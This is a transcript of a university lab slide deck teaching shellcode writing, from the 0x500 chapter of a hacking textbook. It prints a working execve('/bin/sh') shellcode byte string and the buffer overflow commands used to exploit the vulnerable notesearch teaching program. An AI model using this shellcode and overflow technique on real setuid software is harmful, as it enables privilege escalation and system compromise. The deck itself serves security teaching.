esca lab. 2014020527 sunhee kong. 0x500 shellcode running program shellcode a small piece of...
TRANSCRIPT
0x500 SHELLCODE
ESCA Lab.
2014020527 Sunhee Kong
0x500 Shellcode
Running program
Shellcode• A small piece of malicious code used as the payload in the exploitation of a software vulnerability.
• Typically starts a command shell from which the attacker can control the compromised machine.
• Shellcode is commonly written in machine code.
“Once you know how to write your own shellcode, your exploits are limited only by your imagination.”
0x500 Shellcode in 0x300
/* execve("/bin/sh") shellcode(35 Bytes) */
char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80“;
• How should we make a shellcode?
• Remember this shellcode?
0x500 notesearch.c program
• Reads note data and only displays the notes written by that user ID• An optional command-line argument can be sup-
plied for a search string• Vulnerable to a buffer overflow
char searchstring[100];
…
if (arg > 1) // If there is an arg
strcpy(searchstring, argv[1]); // that is the search string
0x500 Exploiting notesearch program
• Put a shellcode in an environment vari-able which is located at the end of the stack segment.
$ export SHELLCODE=$(cat shellcode.bin)
• Make RET point the shellcode.• Get the address of the environment vari-
able. $ ./getenvaddr SHELLCODE ./notesearch SEHLLCODE will be at 0xbffff9c6
• Make the buffer overflow $ ./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
stack
memoryHigh address
Low address
$ SHELLCODE\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\... 0xbffff9c6
RETSFP current EBP
current ESP
…Search String
…0xbffff9c6
0xbffff9c6…
0xbffff9c6
0xbffff9c6
0xbffff9c6
0x510 Assembly vs. C
• Shellcode is written using the assembly language.
• C• Standard libraries – convenience and portability
• Assembly• No standard libraries
• No portability (Architecture specific)• Kernel system calls have to be made directly
0x510 helloworld.c
$ gcc helloworld.c$ strace ./a.out
… write(1, “Hello, world!\n”, 13Hello, world!) = 13 …
• This is what actually outputs the string
0x510 write() System Call
$ man 2 writessize_t write(int fd, const void * buf, size_t count);
• Write to a file descriptor • Arguments
• fd : File descriptor number 0 (stdin), 1 (stdout), 2 (stderr)
• buf : A pointer to a string• count : Length of a string
… write(1, “Hello, world!\n”, 13Hello, world!) = 13 …
0x511 Linux System Calls in Assembly
• Every possible Linux system call is enumer-ated• Listed in /usr/include/asm-i386/unistd.h
…
#define __NR_exit 1
…
#define __NR_write 4
…
0x511 helloworld.asm
•We will make system calls to…• write() : Output strings• exit(): Finishes process cleanly
• x86 instructions used to make a system call• mov : copy a value between its two operands• int : send an interrupt to the kernel
0x511 int 0x80
• The kernel will make a system call based on 4 registers• EAX : Which system call to make (System call number)• EBX : The 1st argument to the system call• ECX : The 2nd argument to the system call• EDX : The 3rd argument to the system call
• EAX ← 4 (system call number for write())• EBX ← 1 (file descriptor number for stdout)• ECX ← msg (address of the string)• EDX ← 14 (length of the string “Hello, world!”)
0x511 Does it work?
• We just wrote our first x86 assembly program. Let’s see if it works fine…
$ nasm –f elf helloworld.asm$ ld helloworld.o$ ./a.out
• Is it enough to be a shellcode?
0x520 Position-independent Code
• Inline string data : Bytes for the string “Hello, world!” must be mixed together with the bytes for the instructions.
• The string’s absolute memory address• Calculated relative to EIP• EIP cannot be accessed from assembly instructions
→ Need to use some sort of trick!
0x521 Stack-based Exploits
• x86 instructions for stack operations• push <source>• pop <destination>• call <location>
• push EIP• ret
• EIP ← pop();
• Misuse of this architecture to get the address of “Hello, world!” string
0x521 helloworld1.s
$ vi helloworld1.s
…
call mark_blow
db “Hello, world!”, 0x0a, 0x0d
mark_below:
; ssize_t write(int fd, const void *buf, size_t count);
pop ecx
…
0x521 Stack-based Exploits
$ ndisasm -b32 helloworld1
$ hexdump –C helloworld1
cf.
0x521 Does it work?
$ export SHELLCODE=$(cat helloworld1)$ ./getenvaddr SHELLCODE ./notesearch SEHLLCODE will be at 0xbffff9c6$ ./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
0x522 Investigating with GDB
• notesearch program runs as root• Can’t debug it as a normal user
• Core dumps• When program crashes, the memory will be dumped to
disk as a core file# ulimit –c unlimited
0x522 Investigating with GDB
# gdb –q –c ./core(gdb) set dis intel(gdb) x/5i 0xbffff998(gdb) i r eip(gdb) x/32xb 0xbffff998
(gdb) quit# hexdump –C helloworld1
• The shell was kind enough to remove null bytes for us Destroys the meaning of machine code
0x523 Where the Null Bytes Come from…
$ ndisasm -b32 helloworld1
• call• A small value will have to be padded with leading zeros
→ 0x00 (Null bytes)
0x523 Removing Null Bytes
• In order for the shellcode to survive transit, it must be redesigned so it doesn’t contain any null bytes.
• Taking advantage of 2’s complement• A small negative number will have its leading bits turned
on → 0xff• The machine code for jumping backward won’t have any
null bytes
• Is this enough?
0x523 More Null Bytes
$ vi helloworld2.s
$ nasm helloworld2.s$ ndisasm –b32 helloworld2
Still has a lot of null bytes!
0x523 Eliminating Null Bytes
• jmp short vs jmp EB 1E jmp short 0x20
E9 1E 00 00 00 jmp 0x20
0x523 Eliminating Null Bytes
• 3 variations of mov B8 04 00 00 00 mov eax, 0x4
66 B8 04 00 mov ax, 0x4
B8 04 mov al, 0x4
• Understanding of register width and addressing :
0x523 Correctness of a Register Value
• More x86 Instructions• inc <target>• dec <target>
• add <dest>, <source>• sub <dest>, <source>• or <dest>, <source>• and <dest>, <source>• xor <dest>, <source>
0x523 Correctness of a Register Value• Clearing a register• Method 1 : Takes 10 bytes to zero out a single register
B8 44 33 22 11 mov eax, 0x11223344
2D 44 33 22 11 sub eax, 0x11223344
• Method 2 : Modifies processor flags
29 C0 sub eax, eax
• Method 331 C0 xor eax, eax
0x523 helloworld3.s
Free of null bytes!
To make even smaller shellcode
$ ndisasm –b32 helloworld3
0x523 Does it work?
$ export SHELLCODE=$(cat helloworld1)$ ./getenvaddr SHELLCODE ./notesearch SEHLLCODE will be at 0xbffff9c6$ ./notesearch $(perl –e ‘print “\xc6\xf9\xff\xbf”x40’)
“It works beautifully!”
0x530 Shell-Spawning Shellcode
• To spawn a shell• Make a system call to execute the /bin/sh shell program
0x530 execve() System Call
$ man 2 execveint execve(const char *filename, char *const argv[], char *const envp[]);
• Execute program• Arguments• filename : pointing the program to execute• argv[] :• envp[] :
• Both argv and envp must be terminated by a null pointer!
Full path of program arg1 … arg2 0x00 (Null)
key=value … key=value 0x00 (Null)
0x530 exec_shell.c
• This program executes /bin/sh
…
execve(filename, argv, envp);
…
“/bin/sh” Null
“/bin/sh” Null
Null
$ vi exec_shell.c
0x530 To Do This in Assembly
• In assembly, the arguments for execve() must be built in memory • Filename, argument arrays, environment arrays→ A null byte must be built in memory
• x86 Instruction to deal with memory • lea <dest>, <source> : load effective address
0x530 exec_shell.s
$ vi exec_shell.s18 db ‘/bin/shXAAAABBBB’ ; the XAAABBBB bytes aren’t needed
0x530 Building Data in Memory
• Initial State B
B
B
B
A
A
A
A
X
h
s
/
n
i
b
/
0xff
EAX
EBX
ECX
EDX
0x1C
0x20
0x24
0x28
0x2C
18 db ‘/bin/shXAAAABBBB’
0x530 Building Data in Memory
• Executed until line 12 0x00
0x00
0x00
0x00
0x00
h
s
/
n
i
b
/
0xff
0x00000000EAX
EBX Filename
ECX argv
EDX envp
0x1C
0x20
0x24
0x28
0x2C
&”/bin/sh”
0x530 Building Data in Memory
• Executed until the end (line 14)• A system call to execve() is made
0x00
0x00
0x00
0x00
0x00
h
s
/
n
i
b
/
0xff
0x0000000BEAX
EBX Filename
ECX argv
EDX envp
0x1C
0x20
0x24
0x28
0x2C
&”/bin/sh”
0x530 Smaller Shellcode
• Smaller shellcode can be used in tighter exploit sit-uations with smaller usable buffers.
• Print the number of bytes in exec_shell $ wc –c exec_shell
0x530 tiny_shell.s
• Uses push instructions to build the necessary structures in memory for the execve() system call.
Backup Slides
0xXXX Live-CD
• Live-CD has gcc installed
• Two versions of gcc (gcc-3.3, gcc-4.1)• By default, gcc means gcc-3.1
0xXXX Stack Protector Option
• Stack-smashing protection was first included in gcc from version 4.1.• gcc 3.3 doesn’t support --fno-stack-protector, --fstack-
protector and --fstack-protector-all options.
0xXXX Symbolic Links
• Creating symbolic links# ln –sf /usr/bin/gcc-3.3 /usr/bin/gcc
• Maintaining symbolic links# update-alternatives --install /usr/bin/gcc-4.1 gcc 1# update-alternatives --config gcc# update-alternatives --list gcc
• “--fstack-protector” is enabled by default• In Ubuntu 6.10 and later version• For C, C++, ObjC, ObjC++
0xXXX gcc-4.1
• What if notesearch.c is compiled with gcc-4.1?
Thank You